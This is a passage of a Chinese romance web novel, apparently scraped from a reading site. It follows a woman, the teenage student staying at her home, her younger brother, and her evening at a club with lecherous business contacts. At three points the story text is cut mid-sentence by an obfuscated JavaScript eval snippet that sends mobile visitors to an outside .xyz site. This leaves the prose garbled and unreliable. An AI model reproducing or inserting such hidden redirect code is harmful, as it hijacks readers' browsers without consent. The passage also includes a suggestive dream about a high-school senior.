“你想干嘛?”谈丹青警惕地举着菜刀。 绪东阳将菜刀从她手里顺走,然后将她切得乱七八糟的黄瓜段码在一起,随后咚咚咚一阵切,在她刀下蹦来蹦去的黄瓜条,到了绪东阳手下就服服帖帖,变魔法似的,黄瓜段秒变黄瓜片,黄瓜片爆改黄瓜丝,每一根都宽窄适宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547422|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “没别的意思,”绪东阳温声说,“只是你再这么切下去,今晚就没黄瓜吃了。” 谈丹青有些尴尬地往后站,很有自知之明地将“主厨”宝座让贤给绪东阳。 “你这黄瓜丝,嗯,切得不错。”谈丹青说:“你怎么会这些?又会挑肉,又会切菜。” 绪东阳将最后一块不好切的黄瓜塞嘴里吃了,再从蔬菜篓里取了一根青椒改刀。 “我小时候是跟着我奶奶长大,当时还是去菜市口买菜,用土灶做饭。”绪东阳说:“现在已经方便很多了。” “原来这样……”谈丹青有些意外,“那你父母呢?” 绪东阳回答:“他们那时候在城里做生意,后来又生了个弟弟。” “哦。”谈丹青抿了抿唇,不再追问。 听谈小白说,绪东阳家境很好,父母都是上市公司股东。 她还以为绪东阳就是那种天天犯浑的大少爷,没想到小时候原来是个留守儿童。 留守儿童爆改校霸? 虽然真不该笑。 但真的很好笑啊…… 绪东阳一人几乎将所有能干的活都揽走了,谈丹青百无聊赖,便对着绪东阳的背影发呆。 绪东阳在卫衣外另套了一条围裙,系带收紧在腰的位置。 肩宽背厚,腰线往里收得很窄,就像一个倒三角的符号。 切菜时,随着手臂摆动,黑色卫衣外套凸显出肩胛骨的形状,仿佛蝴蝶扇动的羽翅。 握菜刀的手,宽而大,手指修长,骨节上有淡淡的痂。 微微用力时,手背上的青筋隆起。淡青色的血管横在淡色的痂上,男性荷尔蒙十足。 菜板咚咚作响,偶尔有邻居家小孩儿说话的声音从窗户飘进来。 家、温馨、幸福。 这一类词,谈丹青没有任何概念。 她甚至始终无法理解,为什么过年时,大家要坐拥挤的车,忍受漫长的等待,也要千里迢迢赶回家乡;为什么公司男实习生总说,他最期待事就是结婚,因为结婚以后,回家就能看到妻子在厨房里做四菜一汤的背影。 现在,谈丹青缓缓眨了眨被灯光照得有些发干的眼睛。在厨房金色温暖的灯光下,恍恍惚惚地,她觉得自己似乎就要触碰到这个问题的答案。 就在她出神时,绪东阳突然回身,朝她看了过来,“怎么了?” “没什么,”谈丹青如梦初醒,假装很忙的样子,背着手在厨房里转来转去,“你好好切菜。” 她东瞧瞧,西瞅瞅,又觉得自己背手的动作太像无能领导巡视,忙将手放了下来。 绪东阳看了她一会儿,看出她的不自在和无聊。 但没戳穿,便说:“你要是有空的话,就帮我洗个苹果吧。” “苹果?”谈丹青答应道:“哦,好。” 她搬来一张板凳,在垃圾桶旁专心致志地削苹果皮。 绪东阳继续切着辅料,菜板上“咚咚”声不绝于耳。 今天谈丹青手感相当不错,苹果皮从头到尾都没断过,切成完美的一长条。 听说削苹果皮不断,代表好运气。 她运气一定会很好。 削好皮,谈丹青又将苹果切成片,放在盘子里。 “切好了。”谈丹青将盘子递给绪东阳。 绪东阳点了点头,没说什么,只是又冲她抬了抬下颌。 他两只手,一只手拿着菜刀,另一只手碰过码过味的牛肉,腾不出第三只手吃苹果。 谈丹青便以为绪东阳抬下巴的这个动作,是想要她帮忙喂他一块。可能是苹果味道太甜,不知怎么,谈丹青脑子一时短路,便没多想,递了一块苹果片到绪东阳嘴边。 绪东阳毫无防备就被苹果堵住了嘴。 他动作停滞,浑身僵硬,手里的菜刀距离他的食指只有一毫米。 漆黑的眼底沉着一片巨大的错愕。 谈丹青这才意识到自己似乎会错了意,耳尖脸颊瞬间又热又涨。 她想抽回手,但手已经伸到这个高度了,再突然缩回去,显得更加刻意。 就在她不知究竟该进还是该退,绪东阳的嘴唇突然贴上了她的指尖,齿尖相抿,微微发干的唇从她指尖一扫而过,将苹果片叼了过去。 7. 第 7 章 谈丹青忍着脸上的热度,为自己找补:“我让你吃一块,是想看苹果甜不甜,我不吃酸的苹果。” “嗯。”绪东阳喉结滚动,慢条斯理地将那片苹果咽下。 指腹碰了碰嘴角,回答了一句:“甜。” 然后继续低头切肉。 谈丹青不确定绪东阳有没有嘲笑她。 单从声音上,尾调往后拖着,总像一声轻笑。 切好的肉,绪东阳开始码味。分别倒入耗油、生抽、香、白糖、孜然粉和半个洋葱。最后,他然将刚刚切好的苹果,也放进了肉里。 见状,谈丹青立刻眉头紧锁,“肉里面放苹果,这也太黑暗了?能吃吗?” “煎肉的时候放一点苹果,肉质会更嫩。”绪东阳解释,又往里面撒了一把芝麻。 “哦……”谈丹青应了一声,但心里依然打鼓。 苹果煎肉? 听起来真的好像草莓饺子…… 看着和肉搅拌在一起的苹果片,谈丹青恍然大悟。 原来绪东阳刚刚真的没有想吃苹果的意思。 一点都没有。 谈丹青的脸又涨了起来,低头拨弄一根葱。 “叮咚……”门前传来解锁声。 谈小白迈着小碎步,狗狗祟祟地探出头,“姐?” “谈,小,白。”谈丹青抓住借口,飞似的从厨房出去。拎起扫帚就打,“你还知道回来?不是肚子疼吗?不是在蹲坑吗?滚滚滚!” 谈小白围着沙发灵活闪避,抱头鼠蹿:“我错了我错了。” 绪东阳端着盘子出来,谈小白直接躲到他后面去,“绪东阳,救我,救我!救救我!” 谈丹青喝道:“绪东阳,你给我让开。” 绪东阳秒让。 谈小白:“……你真特么是我兄弟。” 在谈丹青爆揍谈小白的时候,绪东阳已经摆出了四菜一汤。番茄牛柳、蒜蓉青菜、口蘑肉片和紫菜蛋花汤,虽说只是家常菜,但太香了,能把人香迷糊。 谈丹青被香得不揍谈小白。 谈小白直接一头扑倒在桌子前,口水狂流:“我的妈呀,今天点的是哪家外卖?国宴啊?” 谈丹青翻了个白眼,没好气地说:“就不能是我做的啊?” “呵呵,呵呵,呵呵呵……”谈小白笑得抽搐,他偷捻了一块牛柳吃。刚出锅的牛柳烫嘴,吃得他嘶嘶到抽气,“姐,咱做人贵在有自知之明哈。” 然后挨了谈丹青一巴掌,“人没齐,不许吃。我怎么没自知之明了,我手艺还不好?” 谈小白着急忙慌得将肉咽了下去,“术业有专攻啦,姐你虽然不会做饭,但你会赚钱啊!” “那倒是。”谈小白这马屁拍得非常合谈丹青心意。 谈丹青舒服了,放他一马。 绪东阳厨艺真心不错。看起来红红绿绿,令人食指大动。味道也和外面的小餐馆差不多。家里的煤气灶她压根没用几回,不知道绪东阳是怎么用那个小灶炒出锅气来的。 开吃后,谈丹青和谈小白就没再说话,埋头苦吃,只有电视机在播新闻。多说一句话,就少吃一块肉,这道理他们是非常清楚的。 因吃得太努力,谈丹青后知后觉地发现自己好像在桌下踩到了什么,还踩了挺久。 她以为踩到的是谈小白的脚。 谈小白在她对面扒饭,吃相之夸张好像从没吃饱饭过。 她才不让开。 不仅不让,还故意毫不留情地,往他脚背上又轻轻补了一脚。 踩下去后,对面的“谈小白”却没什么反应。 真怪了,以前他老早就跳起来,一蹿八丈高。 但这一回,她明明踩着他的脚,他却安安静静地,一动也不动。 她心猛地一跳,猛地朝绪东阳望了一眼。 绪东阳也在吃饭,他吃饭的样子规矩斯文,慢慢咀嚼,喉咙滚动。 谈丹青飞速往下瞥了一眼。 看见了绪东阳脚上的棕色拖鞋。 她连忙缩回了脚,匆匆起身,去厨房洗碗,“我吃完了。” 绪东阳方才紧绷着的背,这才松懈下来。 几乎酥麻瘫软的左边身体,缓缓重新恢复血液流动。 刚才左脚脚背上,轻柔的压力和温度,就这么消失了。 人就不能撒谎,说什么来什么。谈小白骗谈丹青肚子疼,结果晚上吃得太多,胃真的胀了起来。倒在沙发上吞了六片健胃消食片后,就跑去卫生间。 绪东阳站起身,收拾起桌上的碗筷,端进厨房。 谈丹青正在洗碗。 她应该真的很少做家务事,切菜不像样,洗起碗来手法也别扭。一般洗碗都是右手拿毛巾顺时针擦,她是左手拿,还逆时针。 他悄无声息地走进去。 谈丹青以为是谈小白,转身看他,纤长的眉梢往上一扬,“你进来干嘛?” “我来吧。”绪东阳低头挽袖。 “搁我这儿Cos辛德瑞拉呢?又做饭又洗碗?我是那个恶毒姐姐吗?”谈丹青有些好笑,端起碗,经过他,“做饭的人不洗碗,道上规矩。” 冲过的碗立在碗架上晾水,谈丹青又开始洗下一批。 额稍的头发从白润的耳后滑落了下去,正好掉进她的眼睛里。 她左右两只手上都是白色泡沫,腾不出手去拨,便眯起眼,不适地眨了眨眼皮。 水龙头还在淅沥沥地淌温水。 窗台上一排绿油油的多肉、薄荷,抖动着小片绿叶。 那双澄澈的眼睛被浓密的黑睫半掩着,宛若蒙了层薄雾的晨星,朦胧间仍流转着清透的光。 绪东阳鬼使神差地上前一步。 两人之间的距离骤然缩短,他高大的黑色影子,将她整个人罩了起来。 他抬起手,擅自拨开那缕在谈丹青眼睫上晃动的碎发,拨至谈丹青耳畔后。 指尖摩挲过她的耳际。 她的耳朵温度很低,白而细嫩,像一块有着血管纹路的冰凉莹润的羊脂白玉。 那双半阖着的眼眸终于在他眼前完全睁开,夕阳的余晖落进去,将原本清冷的瞳仁浸染成蜜糖色的琥珀。 他不动声色地收回捋过她头发的手。 低头,拧开水龙头冲碗。 仿佛方才那逾矩的触碰,真的只是为了更方便地接过她手中的碗。 谈丹青缓缓眨了眨眼。 落在眼睛里尖锐的刺疼消失了。 取而代之的,是耳廓上残留的热和痒。 那绝不是养尊处优的手。指尖茧很厚,粗糙,有很重的颗粒感。掌心散发着淡淡的铁锈味和药粉苦涩的气息,在鼻尖萦绕不去。 “啊,绪东阳,怎么你在洗碗啊?”谈小白突然撸起袖子进来,闯了进来,冲散了厨房里莫名的凝固住的气氛。 谈丹青也回过神,沾着白色透明泡沫冰凉的手,“啪”地拍在了绪东阳手背上,说:“放着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547423|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让谈小白洗。” “对,我来洗就好啊,”谈小白屁股一扭,将绪东阳从洗手池挤开。 谈丹青转身拿毛巾擦了手,从厨房出去。 她无意识地捋了捋耳后的发尾。 那缕碎发一直规矩停留在耳后,并没有落下来。 * 洗完碗,拖了地,还把垃圾给扔了。 谈小白终于能在绪东阳的折叠床上躺尸。 “今天多谢啦!”谈小白似是回忆起什么有意思的事,莫名其妙地咯咯直笑,“今天刘彤要我请她喝奶茶,还给她买喜欢的花,哦,她还说让我陪她去逛街买平板,挺好的,真挺好的啊……” “嗯。”绪东阳在试卷上写着计算公式,敷衍道。 “嘶,我觉得她肯定也喜欢我吧?不然怎么会愿意和我出来? “而且她还跟我说,说我笑起来挺帅的。我是酒窝帅哥。 “她还摸了我酒窝,哈哈哈哈哈哈哈……” 就在谈小白回味着他和刘彤幸福瞬间时,绪东阳的手机直响。 他扫了一眼。 刘彤:【你今天怎么不在?】 刘彤:【怎么不理我?是生我气了吗?】 刘彤:【我是以为你今天在,才同意去的。】 刘彤:【我不信你真的对我一点感觉都没有。不然,你怎么不删我?】 绪东阳长按刘彤名帖。 删除好友。 刘彤一边和谈小白闲聊,一边等着绪东阳的回复。 可怎么也等不来。 她终于忍不住再一次发去消息。 收到回复是枚鲜红的感叹号。 删掉刘彤后,绪东阳无意间看到了母亲徐丽的朋友圈。 她发了一组九宫图。在加拿大求医的同时,他们还带着绪北远去了安大略美术馆个个、皇家博物馆和卡萨罗马城堡。画面上她和绪则两人拥着绪北远,标准的一家三口,再没有空间加入一个多余的人。 绪东阳以为这样的画面会再次刺痛自己。 可实际上,他什么感觉都没有。没那么在乎,也就没那么记恨,仿佛看到了一张陌生人的全家福。只会觉得,这家的小孩怎么长得不好看。 再往下翻,手指却猛地顿住。 谈丹青也发了朋友圈,是刚刚他们三个人一起吃饭,他甚至不知道是什么时候拍的。人物都没露脸,构图也很随意,但那热闹温馨的人间烟火气却扑面而来。 Tdq:“今晚吃大餐啊!” Tdq:“吃饱了再减肥啊!” Tdq:“下次来我家吃呗!收了个新小弟。” …… “绪东阳,绪东阳?”谈小白突然一直叫他。 “嗯?”绪东阳锁了手机。 “你笑什么啊?” “我草,你也会笑啊?你刚刚笑啥呢?” “没事。”绪东阳摸了摸嘴角说。 * 大概是这几天训练太累,这晚绪东阳做了个梦。 都说梦境会放大人的欲念,那些隐蔽的、黑暗的、阴湿的、不道德的妄念,都会在梦里无所遁形,赤裸裸地摊开在月光下。天生食肉的兽类,再也不用谨慎压抑地收敛起自己的锋利的牙和爪。 在梦里,他又回到了那个狭窄、逼仄、光线昏暗的厨房。 但这一次,他不再温顺、伪善、好好先生一样洗碗切菜。 而是将谈丹青猛地按在了料理台上。 8. 第 8 章 清早晨星未散,绪东阳掀被起身。 冷水自花洒倾泻而下,每一寸皮肤都在战栗中苏醒,昨晚的梦境如附骨之疽,又浮现在他的眼前。 在梦里,谈丹青被他抵在料理台边沿,冰凉的金属台面硌着她纤细的月要线。 她向后仰倒,昂头望他,眼眸如星,黑发如瀑,柔软白色雪纺方领衬衣的月匈口仿佛白瓷杯沿口溢出的月光。 他不受控制地往前倾,追上去,要吃她唇峰上精致的唇珠。 她没有躲,反而用手臂勾缠住他,两瓣殷红的唇慢慢地朝他贴近,然而就在真正要触碰到他的时刻,又突然吃吃地笑起来,狡黠地躲开,叫他扑了个空。 “绪东阳,你到底会不会呀?”她嬉笑着质问他。 “有经验么? “知道地方在哪吗?” “呀……”她忽地惊呼了一声,带果香的热烈气息吹洒在他眉心,香甜浓烈得好像今天她喂给他的苹果片。 “原来你知道呀……” “慢点。” 柔嫩细腻的指尖,拂上他几乎战栗的喉结。 随着他急促的喘息,上下徐徐挪动着。 “以前就试过? “啊?没有?”她在他耳畔银铃似地大笑,仿佛神话传说里诱水手入海殒命的人鱼。 “那……”白葱似的指尖向下,宛若一尾鱼,灵巧地淹没进他的卫衣里—— “自己L?” “好小啊。”她眯着眼睛对他笑,窗外月色随着剧烈的起伏,像牛奶一样泼在她的面颊上。 “年纪好小。” “年纪小的就是麻烦。” “我不谈小奶狗的。” 一句接着一句。 分不清是撩拨还是侮辱。 每一个字都扎进他突突跳动的太阳穴里,就连视网膜都因充血而蒙上了一层红雾。 脑中的弦一根接一根崩断,每断裂一根,胸腔里就多出一分躁动,将理智烧得噼啪作响。他再也压抑不住血管里横冲直撞的躁动。极度迫切地渴望一头冲撞进去,将她撞破。好向她证明证明自己,证明自己除了年纪小,除此之外,绝对是个强大的男人。 关掉水管,绪东阳又瞥见扔在脏衣篓里的内裤。 他单拎出来,在水池边蹲下,拧开水管搓洗。 冰凉的水流,冲洗掉布料上的污秽。 脏东西旋转着滚入下水管道。 恶心,而且脏。 “绪东阳?你起好早啊!”忽地谈丹青打着哈欠走进门大敞着的卫生间。 她换好了出门的衣物。如流水的烟灰色绸缎裙,坠在那对纤细的锁骨上。整条裙子上没有一条刺花,布料自然垂落的坠感,寥寥勾勒着玲珑的曲线,将瓷白的肌肤映得微微发亮。 绪东阳怔在原处,一时无法动弹,手里还死死绞着那团湿布。 他觉得自己现在就像《罪与罚》里的拉斯柯尔尼科夫。 杀人的时候,居然忘记了关门。 谈丹青在洗手池找耳环,她瞥了绪东阳一眼,见他手里抓着一件湿淋淋的衣服,便说:“你一大清早的,洗衣服做什么?” “顺手。”绪东阳垂着眼帘,修长的手指拧着湿布,水珠顺着他的指节滴落。 谈丹青不疑有他,她在洗手台台面上找到了遗落的银环耳坠,对着镜子侧头戴耳环。 “家里有洗衣机啊,”她说:“用洗衣机洗多方便。” 绪东阳没接话,只是手上的动作顿了顿。 谈丹青的目光在绪东阳紧绷的侧脸和洗衣机之间转了个来回,忽地会错了意。 她家洗衣机是最新款,很高级。烘洗衣一体式,下面是洗衣,上面是烘干机,还链接了app。 绪东阳第一次用,肯定被上面的按钮搞懵了。 这个年龄的少年好面子,自尊心强。 不会用不好意思承认,所以只能傻乎乎地用手洗。 “绪东阳,”谈丹青试着将声音放柔和些,问:“你是不是不会用这种洗衣机啊?” 绪东阳虽然非常极其特别不想点头。 但事到如今,被当成傻逼总比当成变态强。 “嗯……”他硬着头皮,极缓地点了点头。 “嗨,早说嘛,”谈丹青眉眼弯了弯,冲他招招手,“你过来,我教你。” 绪东阳像是被无形的线牵动着,沉默地走了过去。 谈丹青蹲下.身,指尖一勾,拉开盥洗室下方的柜门,露出洗衣机的机体。她拍了拍机身,语气里带着点不自觉的小骄傲:“我这可是最新款,洗烘一体,全智能的,不会用很正常的。” 她侧头看他,唇角微翘,说:“不会就问啊,我又不会笑话你。” 绪东阳没吭声,垂着眼,目光落在不断点击各色按钮的手指上。 “这是开关;这是速洗;这是羊毛洗,羊毛洗就是洗羊毛衫之类的;这是烘干……”谈丹青讲解完具体按钮功能,又变戏法似的从柜子抱出两大桶洗衣液,“这下面放的是洗衣液、洗衣凝香珠。” 她倒出几粒凝香珠,递到他眼前,“这个放进去,衣服洗完会香香的,你可以挑一种你自己喜欢的味道。” 说到这儿,谈丹青脸上露出嫌弃的表情,眉梢吊起,数落道:“你们男孩子,平时也要讲卫生一点。衣服什么的,都要洗得香香的,不要带臭味、汗味,知道吗?” 她无意地吸了吸鼻尖,嗅到了绪东阳身上的气味。 绪东阳倒是出奇地爱干净,虽然每天跑步会出很多汗,但每次一出汗就要洗澡,身上一直是干净清爽的。他用和她同款沐浴露和洗发水,那是她最喜欢的味道,盛夏淡淡的柑橘香。 这股气味,此刻正若有似无地萦绕在两人之间。 “嗯。”绪东阳漆黑的眼睛盯着洗衣机上的按钮,也不知她的话听进去了多少。 “那你给我洗一个。”谈丹青站了起来,冲他扬了扬下巴,“把刚刚手洗的衣服扔进去重洗。” 绪东阳身形一滞,指节无意识地收紧。 半晌,才闷声说:“……已经洗好了。” “好吧,”谈丹青也不坚持,她今早另有安排,时间很赶,起身对着镜子化妆。 她旋开了半节唇膏,点在嘴唇正中。那颜色刚涂上去,是殷红到发紫的桑葚色。她用食指指腹轻轻揉在唇珠上,将浓厚的颜色一点点推开,柔软的嘴唇被压得微微有些变形,最后两片唇轻轻抿在一起,再开启时,那抹红便像从唇中透出来,娇艳欲滴。 “哦,对了,”她突然想起什么,睫毛一抬,从镜子里瞥了他一眼,说:“我今晚不回来了,你跟小白在外面吃饭。” “不回来?”绪东阳的眉头骤然拧紧,声音不自觉地沉了几分,“去哪儿?” 谈丹青哑然失笑。那声音带着几分戏谑几分讥讽,和他梦境里一模一样。令他后背僵硬,胸口鼓胀。 “怎么?我去哪儿还要跟你报备呀?” 绪东阳的喉结动了动,最终没说话。 “今晚有个局,要谈点事。”谈丹青还是松了口,漫不经心地向他解释,“酒一喝起来就不知道要到几点了,你们两个小朋友自己在家好好待着。” “男的女的?”绪东阳听见自己问。 “这不废话吗?”谈丹青噗嗤笑了一声,刚涂过一层睫毛膏的黑亮的眼睫扑扑扇动,“肯定有男有女啊。” 绪东阳站在门框前,看着谈丹青将口红扔进白色贝壳小钱包里,又往吊带裙外套了一条白色针织衫,去玄关换鞋。 他的眼神一点点沉了下去。 烦。 烦烦。 烦烦烦。 这股无名的火,一直持续了一整天。 他看什么都不爽,看谁都不顺眼。 烦烦烦烦烦烦。 课间嘈杂喧闹,他戴着耳机把音量调到最大。 共和时代在吼: “SoI''mgonnagiveallmysecretsaway(我将泄露我的全部秘密) Thistime,don''tneedanotherperfectlie(这一次,我不需要另一个完美谎言)” 可那些躁动的音符非但没能冲散什么, 每一次鼓点都像在提醒—— 谈丹青今晚会穿着那件烟灰色吊带裙,在某个灯光暧昧的包厢里,对别的男人露出那种笑。 他妈的。 为什么还要上学。 “绪哥,”李远抱着球来找他,说:“你最近怎么这么忙啊?都没去俱乐部打拳了。” “有事。”绪东阳说。 “哦,那你忙吧。”李远说,“我哥问我来着,说你也高三了,后面以后还打不打,得给个准话。” 绪东阳没说话。 高三了,以后、将来、前程…… 这些词在师长们口中被嚼烂了,每个人都在谈论着“以后”,可他的“以后”却是张泡在显影液里的相纸,始终显不出清晰的轮廓。 李远说:“你想想吧,要是后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547424|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面不去了,跟我哥提前说一声,他好找人替。” “嗯。” 这时谈小白跟几个朋友抱着球经过。 李远嗤了一声,说:“傻缺一个。” “听说张渊这几天要堵他。” 张渊是吊车尾混子。 和绪东阳井水不犯河水。 “跟张渊什么关系?”绪东阳皱眉问。 “昨天不是打球嘛,”李远解释:“本来就我们几个3v3,后来张渊也看中场地了,就说一起。 “一起打就一起打呗,谈小白个傻缺,追刘彤追得脑子没了,一整晚都搁那儿炫技,给了张渊好几个大盖帽。 “张渊受得了这门子闲气?这几天就要把场子给找回来。” 李远惋惜:“谈小白,惨咯……” 绪东阳听完,摘下耳机往外走。 李远忙追上,问:“绪哥,哥,你哪儿去啊?” “揍人。” * 秋季新款后台数据一路长虹。尤其是米色款卖得最好,客户反应这一款穿起来肩带最舒适还无痕,外面套羊毛衫完全看不出折痕。 “这次的销量能冲10万+了吧?”胡小样叽叽喳喳地说。 “10万+估计冲不到,”谈丹青说,“仿款已经出来了。” 她调出"春和"店铺的页面,那些似曾相识的设计令人发笑。 每次谈丹青这边的新款内衣一上市,销量惊人,很快市面上的模仿者就来了。这家叫“春和”的网店,几乎是贴着他们抄袭。 而“春和”财力更雄厚,在营销渠道上舍得砸钱,并且规模更大,产量大也就将成本摊得很更薄,直接截胡了他们的流量。不过谈丹青也不悲观,当务之急,是一定要拓展她们的品牌形象。 “今晚周礼约你了?”郑芳问。 “嗯。”谈丹青说。 郑芳说:“哎,本来我能跟你一起的,但今晚我刚好要陪我家老爷子吃饭……” 作为富二代,郑芳最重要的事就是讨她家老爷子欢心。她家有七个孩子,一次聚餐没露脸,可能就被排挤。谈丹青知道轻重,笑笑说:“你去吧,好好陪,老爷子才是我们的真金主啊。” “今晚有什么事,跟我打电话。”郑芳叮嘱道。 “没事。”谈丹青无所谓,说:“周礼我还是摆得平的。” 想到晚上要见周礼,谈丹青面前点的一份面都没胃口吃,但她今晚过去,一定会被灌酒,不先在胃里垫点东西,恐怕难捱过去,机械地将一晚面慢慢吃完,又喝了口矿泉水咽下。 到了晚上,谈丹青开车去周礼给的会馆地址。 到了停车场,谈丹青停了车,在驾驶座上给谈小白也发消息。 Tdq:【晚上自己吃饭。】 谈小白回复:【ok,我叫绪东阳做,他做饭太好吃了。】 谈丹青皱了皱眉,敲字。 Tdq:【你搁这儿找保姆呢?拿零花钱带绪东阳去外面吃。】 Tdq:【还有,你平时要多教一下绪东阳家里的东西都放在哪里,怎么用。洗衣机、空调、咖啡机。】 小白打游戏不小白:【……不是,姐,绪东阳他可是学霸啊,他又不是智障。】 Tdq:【暴揍】 小白打游戏不小白:【抱头JPEG.】 小白打游戏不小白:【知道了知道了……】 谈丹青指尖在屏幕上悬了片刻,最后点开了和绪东阳的对话框。 以她对绪东阳的了解,她几乎能想象,今晚谈小白带他出去吃饭,他抿着嘴角,抢着付钱的样子—— 少年心性,总把自尊心绷得像张拉满的弓,看得比什么都重。 其实,何必? 零花钱自己留着不好么? Tdq:【晚上让谈小白拿钱带你出去吃饭。你俩在家好好读书。】 Leo:【好。】 绪东阳回完消息,继续烦。 烦烦烦。 一抬头,就见谈小白在满屋子翻箱倒柜找外卖单。 谈小白说:“我姐今晚不回来了,她给了我钱,我带你吃饭。” 绪东阳手机锁屏,起身说:“钱你自己拿着吧,我请你吃披萨。” “披萨??”谈小白欢呼起来,“绪东阳,绪哥,哥,你是我亲爹。” 绪东阳没接话,有些话在喉咙里嚼碎了、嚼烂了,最后也只能像是吞了口玻璃渣似的咽下去。 “滚,我不想当你爹。”绪东阳背包走人。 9. 第 9 章 周礼发来的地址于市中心最负盛名的俱乐部。 厚重的玻璃门甫一推开,浓烈的烟酒气味和强烈的声浪,登时如浪潮般汹涌而来。 酒精、忄生。 两个最吸引人的东西叠加在一起,还不足以吸引这么多客人。 这里还有一项更引人注目的东西—— □□。 谈丹青到时,今晚的首场拳击比赛即将开始,八角笼外已经站满了人,尖叫声几乎掀翻屋顶。 背景墙上,拳击手的巨幅剪影逆光而立,半掩在黑暗中的轮廓宛如古希腊雕塑。左下角是拳击手的名字,但被来往的客人磨损了,只剩下一个孤零零字母“o”,像一道未闭合的伤口。 “听说今天leo会出场。”谈丹青身旁,所有人讨论都在讨论今晚将要出场的这个Leo。 一对情侣咬耳朵,亲昵地窃窃私语。 “leo?他很强。”男人咂舌,语气有些不屑。 那女孩笑了起来,说:“谁在乎他打得好不好啊?那张脸——啧,已经是绝杀了。” “比我还帅吗?” “亲爱的,我这边建议你不要自取其辱哦。” 周礼那厮点早已落座,身边围了几个“公主”作陪,正嘻嘻说笑。 谈丹青过去时,一名已经喝多了的中年男人误以为她也是俱乐部“公主”,上来就拉她的手,咧嘴说:“这才对嘛,总算来了个有够味的。” 谈丹青恨不得将碰她的这只手给砍了,但为了待会儿的目的,暂时强忍了下去,拂开那只恶心的手,然后扯出一抹笑,朗声对周礼说: “周总,您这就不地道了啊。自己这么享福,怎么没给我点几个男模啊?看不起我?” 他们这帮中年男人是大男子主义重灾区,怎么受得了谈丹青在他们面前谈及“点男模”这种事。那就是扇他们巴掌,煞他们的威风。 “呀,是谈老板,”周礼尴尬地大笑了两声,故意拉长声调,说:“那是你来晚了呀,来晚了的要罚。” 今晚酒水度数不高,前三杯谈丹青从善如流地喝了,大大方方地给几位亮酒杯。这几人都没安什么好心,故意正事不提,轮流劝她酒。她嘴甜卖乖,躲了几轮,又趁那些人大放海口时,悄悄将酒换成了水。 周礼的朋友开口问:“谈小姐做的是什么生意?” 谈丹青欲开口回答,却被周礼截了话。 周礼用燃着的香烟尾朝她指了指,说:“她呀?卖内衣的。” “内衣……”一席人立刻哈哈笑了起来,笑得意味不明。 一双双油腻的眼睛,终于能光明正大地朝谈丹青前胸看去。 “内衣?”一人故意这么说——“是谈小姐身上现在穿的这件吗?” 又引得哄堂大笑。 周礼的朋友大言不惭,说:“小谈呀,你今天来,不就是想要你周大哥帮帮你,让你内衣销量好么?让哥给你出主意。要想你的内衣销量好,就该找男的看,让男的看爽了,销量就不愁,内衣不就是给男人看的吗?你们说是不是?哈哈哈哈!哈哈哈哈……” 其余人也跟着大笑了起来。 还有几位故意拉“公主”的肩带,叫她们裸出大半边肩,“你穿的又是什么内衣?” “呦,蕾丝的。” “哎呀,你好讨厌呀。” “什么内衣,听着文绉绉的,明明就是女乃罩嘛。” “哈哈哈……” 谈丹青握紧了酒杯,要不是她图周礼手上的那点渠道,她恨不得当场将酒全浇这几个狗东西脑门上。 “我们业务广,”谈丹青昂了昂头,扯开僵硬麻木的嘴角,大大方方地说:“不只卖内衣,还卖男士内裤,有xs号的,魏总要不要我送几条给您?” 魏总那张油光满面的脸瞬间涨成猪肝色,端着酒杯的手僵在半空,怀里搂着的“公主”没忍住,笑出了声。 旁边几个老男人也面面相觑,又不敢真笑出声,憋得肩膀直抖。 周礼尴尬地哈哈大笑了一声,一把搂过魏总的肩膀,出来打了个圆场,说:“老魏,这就是你的不是了,人家小姑娘嘛,你跟个小姑娘计较什么!” …… 谈丹青看明白了今晚周礼压根就没打算跟她好好谈,她虽然上了桌,但却是这些人筷子底下的一盘菜。 不到十点,周礼已经醉成一滩烂泥,瘫在卡座里鼾声如雷。 谈丹青心里有气,见四下无人注意,抬脚就往他小腿肚上狠狠一踹。 周礼在梦里闷哼一声,含糊不清地嘟囔:“谁他妈踢我。” “你妈踢你。”谈丹青低声回礼,拎起包头也不回地走了出去。 包厢门口冷风一吹,谈丹青才觉得胸口那股郁气散了些。 谈丹青从钱夹里掏出烟盒,在唇边咬了一根,瞥眼见不远处站了个人。 那男人一身烟灰色西装,肩线笔挺,在霓虹灯下透着一股沉稳的精英气质。 她收回视线,"咔哒"一声弹开打火机。 可连按几下,火苗始终没窜出来。 清脆的金属声引得男人转头。 男人面容清俊,眉眼间却带着几分倦意,像是刚结束一场漫长的商务谈判。 "用我的吧。"他走近几步,从口袋里掏出打火机,"嚓"地一声,橙红的火苗在她眼前跳动。 谈丹青微微倾身,烟头凑近火焰的刹那,闻到他身上淡淡的雪松香气。 